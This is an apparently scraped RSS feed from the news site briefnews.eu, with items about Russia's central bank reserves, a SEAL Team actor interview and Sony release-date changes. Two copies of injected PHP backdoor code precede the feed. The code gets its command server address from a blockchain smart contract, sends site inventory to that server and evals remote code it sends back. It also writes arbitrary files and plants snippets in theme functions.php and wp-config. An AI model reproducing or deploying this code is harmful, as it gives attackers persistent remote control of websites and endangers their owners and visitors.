// q2_xh if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// q2_xh', 'vis'=>'// xp_v9', 'vis_func'=>'wp_dia8xd', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_47nl0jvi', ); $keys=array(); $keys['id']='kun'; $keys['ver']='em'; $keys['caps']='eby'; $keys['tasks']='awd'; $keys['interval']='pww'; $keys['ack_id']='nl0'; $keys['ok']='9s'; $keys['detail']='wyy'; $keys['inv']='kxw'; $keys['result']='f3t'; $hdr='X-J98-Auth';$tok='0cQMbCeRLTCSW0NdninnOEVrAtwy11ErS16wrKLqeas';$id='1d0c923bac57072b';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); // l0_9z if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// l0_9z', 'vis'=>'// zn_yn', 'vis_func'=>'wp_cuzg8t', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_mtrhds4x', ); $keys=array(); $keys['id']='ybc'; $keys['ver']='a1'; $keys['caps']='afo'; $keys['tasks']='x9t'; $keys['interval']='2e4'; $keys['ack_id']='k72'; $keys['ok']='ch'; $keys['detail']='xd9'; $keys['inv']='hw8'; $keys['result']='0bb'; $hdr='X-L8A-Auth';$tok='A3-EVnA_qOJ132k0gQIT_73RgM-QQ5Szxw145ZNDetU';$id='d1451f9eb0097c9f';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); shifts – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Thu, 17 Jan 2019 09:58:19 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.8 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png shifts – Brief News https://briefnews.eu 32 32 The Central Bank of Russia shifts its reserves away from the dollar https://briefnews.eu/the-central-bank-of-russia-shifts-its-reserves-away-from-the-dollar/ https://briefnews.eu/the-central-bank-of-russia-shifts-its-reserves-away-from-the-dollar/#respond Thu, 17 Jan 2019 09:58:19 +0000 http://briefnews.eu/the-central-bank-of-russia-shifts-its-reserves-away-from-the-dollar/ The move is part of Russia’s desire to hedge against further American sanctions

]]> https://briefnews.eu/the-central-bank-of-russia-shifts-its-reserves-away-from-the-dollar/feed/ 0 SEAL Team's David Boreanaz: Jason's Life Shifts 'Radically' After Tragedy — Plus, a 'Heartbreaking' Scene to Come https://briefnews.eu/seal-teams-david-boreanaz-jasons-life-shifts-radically-after-tragedy-plus-a-heartbreaking-scene-to-come/ https://briefnews.eu/seal-teams-david-boreanaz-jasons-life-shifts-radically-after-tragedy-plus-a-heartbreaking-scene-to-come/#respond Thu, 18 Oct 2018 13:33:21 +0000 http://briefnews.eu/seal-teams-david-boreanaz-jasons-life-shifts-radically-after-tragedy-plus-a-heartbreaking-scene-to-come/ “It’s going to be an intense journey,” SEAL Team‘s David Boreanaz says of the loss suffered by Jason Hayes in this Wednesday’s episode of the CBS military drama.

As telegraphed last week at the close of the season’s second episode, Jason’s wife Alana (recurring player Michaela McManus) was in a fatal car accident, while running a quick errand upon his return home from a mission. The rest of the hour encompassed the reactions of Jason, his kids Emma and Michael, and well as his SEAL brothers — capped by a warm moment between Jason and CIA liaison Mandy.

“It was so hard to go down a path this emotional,” Boreanaz says, “but look, at the end of [Episode] 2 I think the floodgates opened. Things are going to shift radically, and I’m really proud of the work from everybody and where we’re at right now. It’s going to be an emotional ride, and some really great work, the next few episodes.”

When Bravo Team was ordered to spin up for a new mission, Jason knew that he had to stand down, being the only parent his kids have left. But for how long can he sit on the sidelines? Boreanaz spoke with TVLine about Jason’s status with the team, and much more.

TVLINE | When did you first get wind that this was coming? Because when I saw Michaela at the NBC Upfront in May, she knew she was going to be back for a bit.
Well, it was something that was suggested to me, and I said to [showrunner] John [Glenn] that it’s a very delicate situation and you have to take into consideration where Michaela was, going on to a new show…. And you know, she’s so awesome. [Pauses] I mean, I talk about it now and I get choked up because she’s such a sweetheart, and a part of the show was her being able to allow the character to explore these areas. It’s a huge sacrifice to say, “Yeah, OK, I’ll die. I’ll get into an accident.” When we pitched the whole season to the network, at first the network was hesitant. They thought, “Oh, maybe she should travel to the West Coast with the kids, they could be divorced,” and I said, “Well, you’re losing a really strong impactful moment that could shift and change the emotionality we’ve got.” (TVLine reached out to McManus, who stars on the midseason drama The Village, for comment on her exit, which is printed at right.)

I told them, and I could be wrong, that I’ve never seen this on a show, where a guy who’s in the military — who’s a Tier 1 operator who is so addicted to his job and this adrenaline rush of what he does that when he comes home not only is he affected by the people who can’t understand these guys and their issues, their PTSD and struggling with traumatic brain injury — becomes a single dad. I love the idea, because I thought that the conflict and the stakes would just raise it up high.

TVLINE | In this season’s earlier episodes, was it hard for you and Michaela to not telegraph to the audience, “These are going to be our very final scenes”? Like, “Let’s not have a longing look when I say that I’m going to get you a rotisserie chicken”?
That scene’s tricky, because you have to understand from my perspective and from what my character is going through, that when she says, “Don’t you see how happy you are when you’re home?,” he doesn’t. He kind of gets it and he doesn’t, and that’s one of the things with these guys — what they do is life or death, and they love it. They hit their target and come home. The battle is tenfold for them. And to play that, what I was thinking of going through at that moment was dealing with what a guy like that would deal with, and her dealing with what she would have to deal with as a wife, separated and having two kids. I thought it was played great, and the fact that it was just like, “Hey, I’m going to go out and get us some chicken, beer,” whatever, that’s it.

TVLINE | For this episode, what scene was most important for you to pull off?
There are so many. There’s a journey to this, from the end of Episode 2, which for my character was the realization of what just happened and I’m turned around, and the journey into the hospital, putting the pieces back together, going through that anger phase, that depression, that sadness…. It’s definitely the five stages of death. And then you need to be able to add layers so you’re specifically dialed in and not just one-note. As an actor, it’s very challenging, and I work with Ivana Chubbuck who has been my girl, man, for 20 years. We get each other. For this journey, if you’re not going to be able to open the doors that you’re afraid of, I use that fear as motivation. Otherwise, what’s the purpose?

TVLINE | When Jason was holding it together for the first couple acts, I was like, “I get it. He’s strong.” But as a viewer, as someone invested in his family, I needed this guy to lose it. So when the kitchen scene came along, I was like, “OK, now I’m dialed in.”
Yeah. Yeah. There are so many different levels to it. It starts at the end of [Episode] 2 and then it goes to 3, then it goes to 4, 5, and 6…. It’s not just a one-scene moment and then everything’s done. This is a hard journey and something that I’m so excited that I took on. I just said, “You know what, it’s time to just buckle in and get focused on this,” so I’m happy that people allow me to do that.

TVLINE | Can we just talk for a second about Kerri Medders, who plays your daughter, Emma? Because wow.
She’s awesome.

TVLINE | Playing a mourning child is ostensibly easy — you do the things you’re supposed to do. But it can be a mess if you don’t have the right child actor in there. And now I’m getting choked up.
She’s the crux. I talked about it to A.J. [Buckley] yesterday. He said, “Man, I did some ADR, and the scene between you and your daughter….” Again, that’s the stuff that’s going to wreck you, man, if you’re a parent or not. But Kerri, she gauged off of what we were giving her. She’s really good at listening. She’s super present, which makes it very vulnerable. In the kitchen scene, I scared the s–t out of her. [Laughs] It was pretty heavy. The woman who played my mother, she looked at me like, “OK, I need to go take a step outside.” So there were some really tense moments of vulnerability on that set and it affected you know everybody at the crew for six episodes. But yeah, Kerri is phenomenal, she’s phenomenal.

TVLINE | In the immediate wake of this, I’m wondering: How does Jason ever get back to doing his job? I totally support his decision to stand down on this next mission, but that’s not the show. What is it going to take for him to get back to the team? Like, does Naima step up and say, “I can handle such-and-such,” or…?
I will say that it is someone from the homeland that gives him the OK, and the moment is so intense and just heartbreaking. There are more people to be lost, I’ll tell you that, in the next four or five episodes. But there is a message that he gets that will allow him to [rejoin the team].

TVLINE | Lastly, what do you want to say about that scene toward the end, with Jason and Mandy in his car? What all was that about?
It was a great scene. Obviously it was cut down a bit; the director’s cut you would love. In finding the car, I said, “You know, we’ve got to have a car that is reminiscent of maybe something that Jason and Alana used to have and drive before he got into BUD/S.” Something that he was building for her and rebuilding, and I was like it will be great if we just do it in the car. [Director] Chris [Chulack] loved the idea, and you know now you have Alana gone and now Manny steps into that car. If you want to say it’s foreshadowing or not, I don’t want to jump that shark because I think the beautiful thing about the relationship between Jason and Mandy is this: Everyone will be like, “Oh, it’s so predictable that they’re going to hook up.” Well, how do you know that we haven’t already? I’ll just say that. I’m not saying they slept with each other — I don’t know what it is, but I think it’s a little bit more interesting. And again, the layers of a relationship in this environment, in this work environment, with what these guys do is going to be intense and fun.

TVLINE | Well, what I like about the cut of the scene we did get was it told me that she’s someone to whom he can say, “Don’t say this, don’t say that, I’ve heard it all week. Let’s talk about anything else.” And then she sits in the car, holding his hand and then there’s just like silence — and maybe the silence continues. Or maybe she starts talking about an op or something. But she gets it.
Yeah. She does, and that’s where I see the path. The two of them have high respect for each other and in the world that they live in, in the work environment they live in, especially with these Tier 1 operators…. They’re not 100 percent, they’re 150 or 180, high adrenaline, and they do things way intense.

Want more scoop on SEAL Team, or for any other show? Email InsideLine@tvline.com and your question may be answered via Matt’s Inside Line.

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]]> https://briefnews.eu/seal-teams-david-boreanaz-jasons-life-shifts-radically-after-tragedy-plus-a-heartbreaking-scene-to-come/feed/ 0 Sony Shifts Release Dates for James Gunn’s ‘BrightBurn’, ‘Holmes and Watson’ & More https://briefnews.eu/sony-shifts-release-dates-for-james-gunns-brightburn-holmes-and-watson-more/ https://briefnews.eu/sony-shifts-release-dates-for-james-gunns-brightburn-holmes-and-watson-more/#respond Tue, 09 Oct 2018 21:47:44 +0000 http://briefnews.eu/sony-shifts-release-dates-for-james-gunns-brightburn-holmes-and-watson-more/ Sony Pictures - Columbia Pictures - Holmes and Watson Release Date

Sony Pictures is shifting some of the movies intended for release towards the end of 2018.

First up, is a big delay for James Gunn’s mysterious horror film BrightBurn, which will now open in May of 2019. But the film’s original November 2018 release date will be filled by another horror film called The Possession of Hannah Grace. Meanwhile, there’s a release date now in place for the psychological thriller The Intruder, and a later release date for the comedy Holmes and Watson. Get all the new release date details below.

First up, Sony Pictures is sending James Gunn’s BrightBurn into theaters on May 24, 2019. It’s not clear why the movie has been pushed back so far from the film’s original November 30 release date this year, but there’s a good chance it has something to do with the controversy surrounding the director being fired from directing Guardians of the Galaxy Vol. 3. We still don’t know much about the movie, but now we have more time to learn about it as we wait another six months for it to release.

But those looking for scares will be able to check out The Possession of Hannah Grace on November 30, 2018 instead. The film follows a disgraced ex-cop and recovering addict who takes a job in a graveyard shift at the morgue of the hospital in which she got sober. Soon after a mysterious and brutally massacred body is delivered to the morgue, the woman begins to witness terrorizing and violent murders, leading her to face off against an evil entity.

